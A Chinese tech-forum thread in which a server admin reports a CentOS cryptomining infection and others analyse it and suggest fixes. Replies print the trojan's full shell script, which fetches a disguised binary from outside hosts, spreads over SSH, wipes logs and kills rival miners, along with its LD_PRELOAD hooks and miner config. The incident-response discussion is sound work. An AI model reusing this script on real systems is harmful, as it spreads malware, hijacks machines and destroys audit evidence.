V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
abcbuzhiming
V2EX  ›  Linux

Linux 被入侵了该怎么整,入侵者摆明了不怕你知道

  •  1
     
  •   abcbuzhiming · 2019-02-21 23:26:20 +08:00 · 18007 次点击
    这是一个创建于 1862 天前的主题,其中的信息可能已经有所发展或是发生改变。
    今天一觉起来,被报告说有台 CentOS7.5 速度变的很卡。上去一看,没发现 CPU,内存占用有什么很异常的地方,随手敲 netstat -ntlp 准备看看端口占用是不是由异常,结果出现提示:-bash: /usr/bin/netstat: No such file or directory。啊?什么鬼。再一检查 /usr/bin/netstat 文件不存在,我还以为是被不小心删掉了,不管,yum reinstall net-tools 重装网络套件,结果这一装就露出马脚了,/usr/bin/netstat 文件在刚装好的时候是可以用的,几分钟之内,就不翼而飞了,反复几次后,我就明白有什么程序把它给自动删掉了。随后进一步检查发现,
    crontab -l 查定时任务发现这样一行代码:绝对不是我设置的
    */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
    打开这个网址发现得到的是一串明显被加密过的字符串,无法进一步排查。删除这个信息,几分钟内会被重新添加。

    现在,用 netstat -ntlp 查不出有异常端口,但是我个人怀疑 netstat 很可能已被某种手段屏蔽,证据就是它看不到占用 80 端口的 Nginx (我确定 Nginx 仍然在工作)的 PID(显示为 - ),lsof -i:80 同样失效,我猜测黑客(木马)是打算使用 80 端口的,但是 80 端口跑着 Nginx 导致没成功。机器上的 /usr/bin/netstat 每隔几分钟就被删除,计划任务里始终有那条自动执行请求,我删掉等一会就会自动添加。ps -ef 查不出有异常进程,CPU 和内存均无特别异常,就是系统响应速度慢。我该咋办,除了备份数据重装系统没办法了吗?头一次这么嚣张的 Linux 入侵
    106 条回复    2019-02-23 18:53:29 +08:00
    1  2  
    cpdyj0
        1
    cpdyj0  
       2019-02-21 23:32:51 +08:00
    对抗这种 rootkit 难度爆表,,回滚更划算,
    abcbuzhiming
        2
    abcbuzhiming  
    OP
       2019-02-21 23:35:12 +08:00
    @cpdyj0 我想实在没办法也只能重装了,我的系统设置的是强密码,防火墙一直开着,ssh 改了端口,没有运行过脚本语言,就跑着 java,mysql,redis,就这样还能被黑进来。头一次遇到
    hv3s1
        3
    hv3s1  
       2019-02-21 23:36:12 +08:00
    /tmp/watchdogs 有个看门狗程序.. 要不上个 clamav 扫扫
    goophy
        4
    goophy  
       2019-02-21 23:37:22 +08:00   ❤️ 1
    the script
    ```sh
    export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

    echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

    ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
    ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
    ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
    chattr -i /etc/cron.d/root
    chattr -i /etc/cron.d/system
    chattr -i /etc/ld.so.preload
    chattr -i /etc/cron.d/apache
    chattr -i /var/spool/cron/root
    chattr -i /var/spool/cron/crontabs/root
    chattr -i /usr/local/bin/dns
    chattr -i /usr/sbin/netdns
    chattr -i /bin/netstat
    rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
    chkconfig --del kworker
    chkconfig --del netdns
    p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
    if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
    fi
    if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
    fi

    if [ ! -f "/tmp/.lsdpid" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
    (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
    (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
    nohup /tmp/watchdogs >/dev/null 2>&1 &
    elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
    (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
    (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
    nohup /tmp/watchdogs >/dev/null 2>&1 &
    fi

    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
    fi
    echo 0>/root/.ssh/authorized_keys
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron
    #
    #
    #
    ```
    hellowes
        5
    hellowes  
       2019-02-21 23:38:08 +08:00   ❤️ 1
    @abcbuzhiming 直接 ip 暴露到外网吗?那太危险了
    blubillow
        6
    blubillow  
       2019-02-21 23:43:19 +08:00 via iPhone
    昨天同样中招,衰啊
    pursuer
        7
    pursuer  
       2019-02-22 00:25:29 +08:00
    拜这个帖子所赐发现了 pastebin 这个神奇的网站。
    如果不是自己运行了来历不明的程序的话可能就是其他服务的漏洞被利用了,而且感觉可能还是 root 权限运行的服务
    defunct9
        8
    defunct9  
       2019-02-22 01:02:56 +08:00 via iPhone   ❤️ 7
    开 ssh,让我上去看看
    annoy1309
        9
    annoy1309  
       2019-02-22 01:06:55 +08:00
    不是加密,只是单纯 base6*4
    viruser
        10
    viruser  
       2019-02-22 01:18:04 +08:00 via Android   ❤️ 1
    重点应该是这两句`if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
    fi`和下载后缀为.jpg 其实是 elf 的挖矿软件并重命名为 watchdogs
    ochatokori
        11
    ochatokori  
       2019-02-22 02:05:27 +08:00 via Android
    一点进去大大的 base64 -d 。。。。
    Tyanboot
        12
    Tyanboot  
       2019-02-22 03:17:09 +08:00
    别想了,直接重装吧。

    当然别忘记去 pastebin 这几个站上面发 abuse report 这几个。
    Tink
        13
    Tink  
       2019-02-22 08:15:54 +08:00 via iPhone
    这不就是 base64 吗
    yongxa
        14
    yongxa  
       2019-02-22 08:21:04 +08:00 via Android
    Redis 权限?
    lipeng1943
        15
    lipeng1943  
       2019-02-22 08:29:51 +08:00 via iPhone
    目测 redis 没开认证
    nfroot
        16
    nfroot  
       2019-02-22 08:32:17 +08:00
    @pursuer 这个网址很早很早很早以前就被墙了。。能访问应该是 CF 这个 CDN 的功劳。。。。
    Removable
        17
    Removable  
       2019-02-22 08:32:29 +08:00 via iPhone
    @defunct9 #8 感觉好久没见过老哥了
    zou2699
        18
    zou2699  
       2019-02-22 08:35:45 +08:00 via iPhone
    如果 redis 权限不控制好的话,是可以把公钥 dump 进你的系统的
    jobtesting
        19
    jobtesting  
       2019-02-22 08:57:27 +08:00 via iPhone
    阿里云这么容易被黑的?
    uorz
        20
    uorz  
       2019-02-22 08:57:38 +08:00 via Android
    @viruser 这句看起来没啥,只是在传播到其它机器上。只是想知道机器是怎么被攻入的。楼主说用了强密码,再考虑到连 b64 都不知道,怀疑有啥乌龙把密码泄露了。
    uorz
        21
    uorz  
       2019-02-22 09:07:13 +08:00 via Android
    @uorz 或者从其它弱保护的机器扩散过来的
    abcbuzhiming
        22
    abcbuzhiming  
    OP
       2019-02-22 09:09:39 +08:00
    @zou2699 redis 有这样的漏洞?麻烦详细说一下
    lepig
        23
    lepig  
       2019-02-22 09:12:03 +08:00   ❤️ 2
    之前 在一台测试 vps 上为了方便安装了一个没设置密码的 redis 服务,然后 和楼主的情况一样。

    我使用了 下面的代码基本上 清除了 。cpu 目前正常,楼主可以参考下。
    https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh


    不过 如果能回滚最好回滚
    lepig
        24
    lepig  
       2019-02-22 09:14:21 +08:00
    然后 使用 top 命令 查看下 是否有`python -c `开头的命令,看看是否有莫名启动的进程。直接 kill 掉
    uorz
        25
    uorz  
       2019-02-22 09:17:20 +08:00 via Android
    @uorz 如果真是其它机器过来的也可以解释为啥会删了又出来
    LokiSharp
        26
    LokiSharp  
       2019-02-22 09:18:51 +08:00
    目测是没开防火墙然后 Redis MongoDB 之类暴露在外网了
    17612729987
        27
    17612729987  
       2019-02-22 09:19:35 +08:00
    昨天我也中招了,提交工单到阿里排查以后让我重装系统
    ![]( https://i.loli.net/2019/02/22/5c6f4dc3c8c11.png)
    更换系统盘,初始化系统盘,到晚上居然云盾又提醒我
    ![]( https://i.loli.net/2019/02/22/5c6f4e154acc9.png)
    baozhibo
        28
    baozhibo  
       2019-02-22 09:21:51 +08:00
    @hv3s1 这个是变种,扫不出来的。
    crazyjin
        29
    crazyjin  
       2019-02-22 09:22:13 +08:00
    服务器被入侵了和戴绿帽子一样头大。
    17612729987
        30
    17612729987  
       2019-02-22 09:24:12 +08:00
    和楼上说的一样,没装 redis 之前用了快一年一点问题都没有,前天装上了,默认没密码我就给改,第二天晚上就被阿里云发邮件提醒
    17612729987
        31
    17612729987  
       2019-02-22 09:25:50 +08:00
    默认没密码我就给改 -> 默认没密码我就没改
    passerbytiny
        32
    passerbytiny  
       2019-02-22 09:26:39 +08:00
    楼主先说下 redis 是不是开了公网访问并且不设密码,如果是的话,那 100%是这个原因。
    xxxy
        33
    xxxy  
       2019-02-22 09:33:52 +08:00
    redis 未授权访问可以 get Shell 的
    kernel
        34
    kernel  
       2019-02-22 09:38:47 +08:00
    你的 mysql/redis 都开了公网访问? 我都不敢开这种东西的公网,感觉比 nginx 脆多了
    linnil
        35
    linnil  
       2019-02-22 09:45:35 +08:00   ❤️ 1
    msg7086
        36
    msg7086  
       2019-02-22 09:48:14 +08:00
    @17612729987 哪个发行版啊,装上以后默认 root 运行而且暴露公网的?
    wizardoz
        37
    wizardoz  
       2019-02-22 09:51:31 +08:00
    @crazyjin 兄弟深有感触啊……逃了
    linnil
        38
    linnil  
       2019-02-22 09:58:04 +08:00
    对了,35 楼脚本不停止挖矿,只清理,清理之后自己删挖矿进程吧。
    脚本也使用了 base64 编码,自己解码即可。
    写得不好之处,欢迎告知我修改。
    Heyavc
        39
    Heyavc  
       2019-02-22 09:59:14 +08:00
    没设置密码的 redis 暴露在公网很危险的,未授权访问设置写入(如果有写入权限的话)私钥信息,就算 SSH 改了端口也能扫描出来。
    abcbuzhiming
        41
    abcbuzhiming  
    OP
       2019-02-22 09:59:41 +08:00
    @passerbytiny Redis 开了公网访问,但是设置了 32 位强密码。难道密码外泄了?但是 redis 到底是如何造成木马进入的?原理是什么?有没有方法避免,mysql 密码让人知道了也就是脱裤,这能上传木马破坏威力太大了
    test12138
        42
    test12138  
       2019-02-22 10:05:05 +08:00
    @goophy 遇到过类似的攻击脚本,求解决方案
    al0ne
        43
    al0ne  
       2019-02-22 10:12:03 +08:00
    https://github.com/al0ne/LinuxCheck 试试这个脚本 寻找 linux 问题的
    linnil
        44
    linnil  
       2019-02-22 10:24:56 +08:00   ❤️ 3
    咋感觉都没人愿意理我呢,昨天正好看了下这个 sByq0rym 这个挖矿木马。又花五分给说说,极力挽救一下。
    木马主要是利用定时任务,每 15/30 分钟执行一次,而且该木马会覆盖一个库函数,当你使用一些命令的时候会调用该库的函数,作者在函数里进行了屏蔽,比如 ps 的时候,显示不出进程,而且在你用 vi 修改定时任务的时候,会先将数据写入到定时任务文件。所以对付它可以先停掉定时任务,然后删掉那个动态链接库,然后刷新并重建定时任务文件,在开启定时任务。
    脚本里面有函数,虽然命名不规范,很垃圾,但是应该也许容易看。
    Biebe
        45
    Biebe  
       2019-02-22 10:27:27 +08:00   ❤️ 2
    开放 ssh,让其他所谓的入侵者一起进去,以毒攻毒
    Acoffice
        46
    Acoffice  
       2019-02-22 10:28:08 +08:00
    @linnil 我转发我同事试了,不知道啥时间会给我回复....🙏
    pain400
        47
    pain400  
       2019-02-22 10:28:47 +08:00
    @zou2699 不是特别懂,怎么定位到 redis 的,能说说吗
    Acoffice
        48
    Acoffice  
       2019-02-22 10:29:54 +08:00
    @linnil 而且这个最近貌似感染了不少机器,但是从哪里进来的感染的,没找到.如果你能出一个详细解说文档,我觉得会更好啊.
    mingzu
        49
    mingzu  
       2019-02-22 10:30:06 +08:00
    目测 redis 未授权写文件。。。
    wasmir
        50
    wasmir  
       2019-02-22 10:33:45 +08:00
    @abcbuzhiming redis 可以通过 lua 或数据备份往你磁盘里写东西
    zhangneww
        51
    zhangneww  
       2019-02-22 10:34:21 +08:00
    redis 非常容易被入侵,别问我是怎么知道的
    Hazurt
        52
    Hazurt  
       2019-02-22 10:35:49 +08:00
    家里公网 22 端口上放了一个树莓派,至今还没高手闯进来玩玩,不过扫端口挺多的,最近两周统计到 4656 个 ip。
    ( PS:不是引诱大家去攻击的,就不放地址了)
    linnil
        53
    linnil  
       2019-02-22 10:39:19 +08:00
    @Acoffice 我整理一下,稍等。
    17612729987
        54
    17612729987  
       2019-02-22 10:46:02 +08:00
    @linnil 整理好了艾特我一下,我也中招了
    ww2000e
        55
    ww2000e  
       2019-02-22 10:47:21 +08:00
    @Hazurt 你家咋有公网 ip 的。。
    maliming
        56
    maliming  
       2019-02-22 10:47:37 +08:00
    还是 docker 好!
    nicevar
        57
    nicevar  
       2019-02-22 10:48:14 +08:00
    @Hazurt 谁没事去玩你的,高手很忙的,现在一套下来都是自动扫描植入后门或挖矿脚本然后继续自动扩散,阿里云一大票主机都是这样被搞定的,所以有人经常问为啥会有内网的机器扫描自己的服务器
    可以看一下服务器的安全日志,一堆都是阿里云或者腾讯云的 ip 自动扫描,反查过去一看都是些什么小公司的服务器,平时没有什么人管理的那种
    Redis 的漏洞已经冒出来很长时间,我不知道为啥老有些人喜欢开公网端口,真的是作死,开公网端口一旦有未公开的溢出漏洞就会死得很惨,不仅仅是 Redis,像 MySQL 也一样
    passerbytiny
        58
    passerbytiny  
       2019-02-22 10:48:20 +08:00
    @abcbuzhiming #39 Redis 设置了密码,那 Redis 是原因的可能性就不大了。我不是运维,后面也只能看了,知道 Reids 这个是因为之前公司踩过坑。Redis 有一个漏洞,有特殊方法可以通过正常的 Redis 端口获取到主机的 Root 权限,然而这个漏洞在 Redis 开发者那里被标记为不予解决,因为 Reids 设计的应用环境是纯内网访问。
    guanhui07
        59
    guanhui07  
       2019-02-22 10:55:34 +08:00
    redis 一定要修改端口,设置密码
    Xavier001
        60
    Xavier001  
       2019-02-22 10:57:18 +08:00
    插眼
    linnil
        61
    linnil  
       2019-02-22 11:02:59 +08:00   ❤️ 4
    ## 来源
    大部分来源于 redis,这里也只说明 redis

    ### redis
    在 redis 以 root 运行,开启公网访问,没有禁用 /重命名 confing 命令,且使用系统定时任务服务的情况下,可实现入侵。当局域网内有一台机被沦陷之后,且该机器登录过且无需密码能登录局域网内服务器,将进行扫描入侵。

    ## 脚本流程
    该脚本将先清理掉服务器可能已经被挖矿的其他程序,然后下载自己的看门狗程序,设置并覆盖加载动态链接库:
    /etc/ld.so.preload
    /usr/local/lib/libioset.so

    写入定时任务,文件有:
    1. /var/spool/cron/root
    2. /etc/cron.d/root
    3. /var/spool/cron/crontabs/root

    常见 watchdogs 自启动服务:
    /etc/init.d/watchdogs

    ## 特别说明 - 链接库
    链接库会覆盖某些函数,当运行一些命令时会先执行作者写的函数,所以在使用 cd,vi 等命令时会发现定时任务又回来了,这是因为这些命令会调用该链接库所致。并不是有其他程序监控并修改文件所致。

    ## 建议清理方案
    设置 redis
    停掉定时任务
    清理并刷新动态链接库
    清理并重建定时任务
    删除自启动
    启动定时任务

    ## 不足
    由于时间与能力的关系,分析可能不完整,欢迎大家提出意见。
    @17612729987
    @Acoffice
    aniua
        62
    aniua  
       2019-02-22 11:04:53 +08:00
    低级漏洞。。。暴露在公网的服务都得注意下权限控制啊,Redis 完全没必要在公网上跑。
    firebroo
        63
    firebroo  
       2019-02-22 11:06:56 +08:00
    redis 未授权访问可以 get Shell 的
    chennqqi
        64
    chennqqi  
       2019-02-22 11:11:25 +08:00
    1 楼正解
    viger
        65
    viger  
       2019-02-22 11:46:52 +08:00
    前天一台装了 jenkins 的机器不幸中招。
    攻击者利用的是 jenkins 的一个插件漏洞,还好运行 jenkins 的账户没什么权限,删掉定时和木马程序,升级 jenkins 就好了。
    一步步查入侵其实蛮有意思。
    linnil
        66
    linnil  
       2019-02-22 11:54:37 +08:00
    最新消息,libioset 貌似升级了,
    将 libioset。so 文件破坏,系统重启,清空能用。主要是那个动态链接库搞事情。
    iccfish
        67
    iccfish  
       2019-02-22 12:19:48 +08:00
    顺手对涉及到的四个 pastebin 内容 report abuse。
    ice2016
        68
    ice2016  
       2019-02-22 12:41:07 +08:00
    最低权限原则,DB,CACHE 等等不能直接开在外网
    realpg
        69
    realpg  
       2019-02-22 12:42:13 +08:00
    发生这种事儿 99%是 CentOS/RHEL
    infra
        70
    infra  
       2019-02-22 12:52:38 +08:00
    用 Debian 吧,apt install fail2ban 挡住 90+% 的攻击
    tomychen
        71
    tomychen  
       2019-02-22 13:03:31 +08:00
    先把域名 ban 掉,再分析不就方便了?
    xiaomudou
        72
    xiaomudou  
       2019-02-22 13:19:56 +08:00 via Android
    redis 的锅
    xiaomudou
        73
    xiaomudou  
       2019-02-22 13:28:59 +08:00 via Android
    @realpg why?
    defunct9
        74
    defunct9  
       2019-02-22 13:31:24 +08:00
    @Removable 吾一直都在啊啊啊啊啊啊啊
    realpg
        75
    realpg  
       2019-02-22 13:36:18 +08:00
    @xiaomudou
    因为 ubuntu 啥的直接从 apt 安装的 deb 包,数据库类全部默认监听 127.0.0.1
    你想面对 0.0.0.0 监听,手动改去

    redhat 系的 rpm 包,yum 安装的,还是你网上找的别人打包的 rpm,全部都是监听 0.0.0.0 的
    对于 redis 等几种 root 权限运行且能备份恢复操作文件系统的,这就要了亲命了

    当然,还有广泛流传的 redhat/centos 到手先关闭 selinux 大法,帮你阻止了最后的一线安全机会
    frylkrttj
        76
    frylkrttj  
       2019-02-22 13:42:10 +08:00
    @infra 还有 10% 用什么挡住
    infra
        77
    infra  
       2019-02-22 13:45:57 +08:00
    @frylkrttj 运气
    blueskea
        78
    blueskea  
       2019-02-22 14:00:21 +08:00 via Android
    也中招了,top 看不出 CPU 占用,监控软件一看 CPU 满的,查了下,通过 redis 进来的
    fooying
        79
    fooying  
       2019-02-22 14:01:05 +08:00   ❤️ 2
    tankren
        80
    tankren  
       2019-02-22 14:30:11 +08:00
    防火墙的必要性,IP 白名单
    lvxiang119
        81
    lvxiang119  
       2019-02-22 15:34:01 +08:00
    我也遇到了相同的情况,病毒有点意思

    首先会伪装成一张可执行的图片,执行完毕后的脚本如下

    发现该图片是用 uxp 加壳的,想办法去壳,破解后发现了几个文件

    其中 deamon 的脚本破解为

    ```
    #! /bin/bash
    #chkconfig: - 99 01
    #description: watchdogs daemon
    #processname: /usr/sbin/watchdogs
    ### BEGIN INIT INFO
    # Provides: /user/sbin/watchdogs
    # Required-Start:
    # Required-Stop:
    # Default-Start: 2 3 4 5
    # Default-Stop: 0 1 6
    # Short-Description: watchdogs deamon
    # Description: watchdogs deamon
    ### END INIT INFO

    LocalPath="/usr/sbin/watchdogs"
    name='watchdogs'
    pid_file="/tmp/.lsdpid"
    stdout_log="/var/log/$name.log"
    stderr_log="/var/log/$name.err"
    get_pid(){
    cat "$pid_file"
    }
    is_running(){
    [ -f "$pid_file" ] &&/usr/sbin/watchdogs -Pid $(get_pid) > /dev/null 2>&1
    }
    case "$1" in
    start)
    if is_running; then
    echo "Already started"
    else
    echo "Starting $name"
    $LocalPath >>"$stdout_log" 2>> "$stderr_log" &
    echo $! > "$pid_file"
    if ! is_running; then
    echo "Unable to start, see$stdout_log and $stderr_log"
    exit 1
    fi
    fi
    ;;
    stop)
    if is_running; then
    echo -n "Stopping$name.."
    kill $(get_pid)
    for i in {1..10}
    do
    if ! is_running; then
    break
    fi
    echo -n "."
    sleep 1
    done
    echo
    if is_running; then
    echo "Not stopped; maystill be shutting down or shutdown may have failed"
    exit 1
    else
    echo "Stopped"
    if [ -f "$pid_file"]; then
    rm "$pid_file"
    fi
    fi
    else
    echo "Not running"
    fi
    ;;
    restart)
    $0 stop
    if is_running; then
    echo "Unable to stop, will notattempt to start"
    exit 1
    fi
    $0 start
    ;;
    status)
    if is_running; then
    echo "Running"
    else
    echo "Stopped"
    exit 1
    fi
    ;;
    *)
    echo "Usage: $0{start|stop|restart|status}"
    exit 1
    ;;
    esac
    exit 0
    ```

    劫持系统的 c++部分为

    ```

    void *libc;

    static void init (void) __attribute__ ((constructor));

    static int (*old_access) (const char *path, int amode);
    static int (*old_lxstat) (int ver, const char *file, struct stat * buf);
    static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf);
    static int (*old_open) (const char *pathname, int flags, mode_t mode);
    static int (*old_rmdir) (const char *pathname);
    static int (*old_unlink) (const char *pathname);
    static int (*old_unlinkat) (int dirfd, const char *pathname, int flags);
    static int (*old_xstat) (int ver, const char *path, struct stat * buf);
    static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf);
    static int get_dir_name(DIR* dirp, char* buf, size_t size)
    {
    int fd = dirfd(dirp);
    if(fd == -1) {
    return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
    return 0;
    }

    buf[ret] = 0;
    return 1;
    }


    ...省略大量

    ```

    还有一个挖坑的配置

    ```
    {
    "algo": "cryptonight",
    "api": {
    "port": 0,
    "access-token": null,
    "id": null,
    "worker-id": null,
    "ipv6": false,
    "restricted": true
    },
    "asm": true,
    "autosave": true,
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 0,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 100,
    "pools": [
    {
    "url": "stratum+tcp://xmr.f2pool.com:13531",
    "user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny",
    "pass": "x",
    "rig-id": null,
    "nicehash": false,
    "keepalive": false,
    "variant": -1,
    "tls": false,
    "tls-fingerprint": null
    }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": null,
    "user-agent": null,
    "watch": false
    }


    ```

    发现是在挖门罗币。



    为了获取更多的 CPU,这个病毒还会首先检测并杀死竞争对手。
    abcbuzhiming
        82
    abcbuzhiming  
    OP
       2019-02-22 15:47:00 +08:00
    @lvxiang119 请问你是如何找到这张“图片”的?
    no1xsyzy
        83
    no1xsyzy  
       2019-02-22 16:01:08 +08:00
    no1xsyzy
        84
    no1xsyzy  
       2019-02-22 16:03:48 +08:00
    @abcbuzhiming 就在 base64 -d 后的脚本里,URL 明明白白贴着,cURL 或者 wGet 到 /tmp/watchdogs
    ```
    (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    ```
    woyao
        85
    woyao  
       2019-02-22 16:05:27 +08:00
    @linnil 装个 busybox
    HangoX
        86
    HangoX  
       2019-02-22 16:07:54 +08:00
    楼主这样一说。。我觉得我的服务器用 vnc 输入账号密码无法登录上去可能是已经被攻击了。。。可是我上面只有一个服务。。我只能重装了
    alvin666
        87
    alvin666  
       2019-02-22 16:09:02 +08:00 via Android
    MySQL 密码泄露可也不止脱裤这么简单,可以利用日志写入恶意脚本的

    反正不管哪个服务,都不要开公网访问,iptables 直接 drop,一定要开的话就白名单,ssh 用秘钥 /fail2ban
    lvxiang119
        88
    lvxiang119  
       2019-02-22 16:13:35 +08:00
    @abcbuzhiming 重点是把图片 通过 binwalk( https://github.com/ReFirmLabs/binwalk) 解压,内置
    ```
    0.elf 挖坑核心 go 语言编写
    21EC3A c++劫持函数
    212D3A mine config
    21565A watchdogs deamon

    ```
    几个文件 0.elf 似乎要用 uxp 去壳。 但没能力反编译
    1423
        89
    1423  
       2019-02-22 16:33:15 +08:00
    @17612729987 #26 https 的,云盾是怎么拿到 url 路径的呢
    McDonald
        90
    McDonald  
       2019-02-22 16:35:21 +08:00
    上面所有方法都试了的人表示 1 楼正解
    xiaomudou
        91
    xiaomudou  
       2019-02-22 16:36:36 +08:00 via Android
    @realpg
    谢谢
    linnil
        92
    linnil  
       2019-02-22 16:39:24 +08:00
    @lvxiang119 哇,大佬啊,我只知道它劫持了系统库函数,但是不知道具体劫持了哪些,功力不足啊。
    顺带问一下破坏了链接库,删除定时任务,开机自启之后,这个挖矿病毒算清理了么?
    abcbuzhiming
        93
    abcbuzhiming  
    OP
       2019-02-22 16:54:59 +08:00
    @1423 https 不管域名解析,域名解析的 dns 协议可是明码的,怎么可能拿不到你的 url

    另外各位,79 楼的是目前这个病毒的最权威描述,这个木马 hack 了大部分的系统命令,你直接用系统命令是看不到它的文件的,确实必须用 busybox
    yaxin
        94
    yaxin  
       2019-02-22 16:55:13 +08:00
    只是删了`netstat`,用`ss`命令就行
    yongxa
        95
    yongxa  
       2019-02-22 17:03:48 +08:00
    帮楼主找了一下,还是 redis 的问题,昨晚爆发的
    yongxa
        96
    yongxa  
       2019-02-22 17:04:58 +08:00
    vjnjc
        97
    vjnjc  
       2019-02-22 17:55:33 +08:00
    @viger 能透露一下 jenkins 的哪个插件有问题吗,我们昨天也经历了 jenkins 机器被攻击,简单粗暴地把它关了 0 0
    lvxiang119
        98
    lvxiang119  
       2019-02-22 17:58:36 +08:00
    @linnil 可以使用 chattr -i /etc/cron.d/root 去锁,看看这个文件如果被写入了,就说明清除成功。 必须要确保清除掉 so 文件。
    szlszl35622
        99
    szlszl35622  
       2019-02-22 18:05:08 +08:00
    又是把这个 pastebin.com 当传播介质。。。

    我上次碰到挖矿脚本的时候,18/9/3。
    也是通过这个 pastebin.com 来传播。
    恰好也是针对 Redis 的。
    当时一时兴起,流水账一样地记录了一半。
    https://zsnmwy.net/300.html

    不过当时没有这个牛。
    szlszl35622
        100
    szlszl35622  
